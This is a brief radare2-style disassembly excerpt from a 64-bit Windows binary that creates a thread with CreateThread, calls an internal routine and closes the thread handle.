lea r8, [0x14000184c]
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call fcn.1400018f9
mov rcx, qword [0x1400580a0]
sub rsp, 0xffffffffffffff80
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
sub rsp, 0xffffffffffffff80
pop rbx
ret